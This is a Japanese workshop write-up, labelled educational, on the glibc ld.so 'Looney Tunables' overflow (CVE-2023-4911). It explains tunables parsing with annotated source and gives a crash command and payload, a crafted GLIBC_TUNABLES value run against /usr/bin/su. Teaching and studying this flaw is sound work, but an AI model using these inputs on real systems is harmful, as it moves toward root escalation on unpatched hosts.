
Looney Tunables ローカル権限昇格 (CVE-2023-4911) ワークショップ (教育目的のみ)
コンピューティングにおいて、動的リンカーとは、実行可能ファイルが実行される際に、その実行ファイルが必要とする共有ライブラリをロードしてリンクするオペレーティングシステムの一部です。具体的には、永続ストレージからRAMにライブラリの内容をコピーし、ジャンプテーブルを埋め、ポインタを再配置します。
例えば、opensslライブラリを使ってmd5ハッシュを計算するプログラムがあるとします:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so はバイナリを解析し、<openssl/md5.h>に関連するライブラリを見つけようとします。```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
見てわかるように、必要な暗号ライブラリを /lib/x86_64-linux-gnu/libcrypto.so.3 に見つけます。プログラム起動時に、このライブラリのコードをプロセスRAMに配置し、このライブラリへのすべての参照をリンクします。
プログラムが起動されると、このローダーはまずプログラムを調べて、必要な共有ライブラリを特定します。次に、これらのライブラリを検索し、メモリにロードし、実行時に実行可能ファイルとリンクします。その過程で、動的ローダーはシンボル参照(関数や変数の参照など)を解決し、プログラムの実行に必要なすべてが整っていることを保証します。その役割から、動的ローダーはセキュリティ上非常に重要であり、ローカルユーザーがset-user-IDまたはset-group-IDプログラムを起動すると、そのコードは昇格された権限で実行されます。
Tunablesは、GNU Cライブラリの機能で、アプリケーション作成者やディストリビューションのメンテナーがランタイムライブラリの動作をワークロードに合わせて変更できるようにするものです。これらは、さまざまな方法で変更可能なスイッチのセットとして実装されています。現在のデフォルトの方法は、GLIBC_TUNABLES環境変数を使用して、コロン区切りのname=valueペアの文字列に設定することです。例えば、次の例ではmallocチェックを有効にし、mallocのトリミングしきい値を128バイトに設定します。``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
動的ローダに `--list-tunables` を渡すと、すべての tunables の最小値と最大値を表示する:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
実行のごく最初に、ld.so は __tunables_init() を呼び出して環境変数を調べ(279行目)、GLIBC_TUNABLES 変数を検索します(282行目)。見つかった GLIBC_TUNABLES ごとに、この変数のコピーを作成し(284行目)、parse_tunables() を呼び出してこのコピーを処理およびサニタイズし(286行目)、最後に元の GLIBC_TUNABLES をこのサニタイズされたコピーで置き換えます(288行目)。```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
parse_tunables() の第1引数 (tunestr) はサニタイズされようとしている GLIBC_TUNABLES のコピーを指し、第2引数 (valstring) は元の GLIBC_TUNABLES 環境変数(スタック上)を指します。GLIBC_TUNABLES のコピー(形式は `"tunable1=\`aaa:tunable2=bbb"`"` であるべき)をサニタイズするために、parse_tunables() は tunestr からすべての危険なチューナブル(SXID_ERASE チューナブル)を削除しますが、SXID_IGNORE と NONE チューナブルは保持します(221-235行目):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
残念ながら、GLIBC_TUNABLES環境変数が"tunable1=tunable2=AAA"の形式である場合("tunable1"と"tunable2"はSXID_IGNOREチューナブル、例えば"glibc.malloc.mxfast")、次のようになります:
parse_tunables()内の"while (true)"の最初の反復中に、 "tunable1=tunable2=AAA"全体がその場でtunestrにコピーされ(221-235行目)、 その結果tunestrが満杯になります;
247-248行目で、pはインクリメントされません(p[len]は'\0'です。なぜなら203-204行目で':'が見つからなかったため)、 したがってpはまだ"tunable1"の値、すなわち"tunable2=AAA"を指しています;
parse_tunables()内の"while (true)"の2回目の反復中に、 "tunable2=AAA"が(まるで2番目のチューナブルであるかのように)tunestrに追加され(すでに満杯です)、 その結果tunestrがオーバーフローします。
コマンド:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
ペイロード:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
この脆弱性は単純なバッファオーバーフローですが、任意のコード実行を達成するためには何を上書きすればよいでしょうか? オーバーフローさせるバッファは、tunables_strdup() によって284行目で割り当てられます。tunables_strdup() は strdup() の再実装であり、glibc の malloc() ではなく ld.so の __minimal_malloc() を使用します(実際、glibc の malloc() はまだ初期化されていません)。この __minimal_malloc() の実装は、単に mmap() を呼び出してカーネルからメモリを取得します。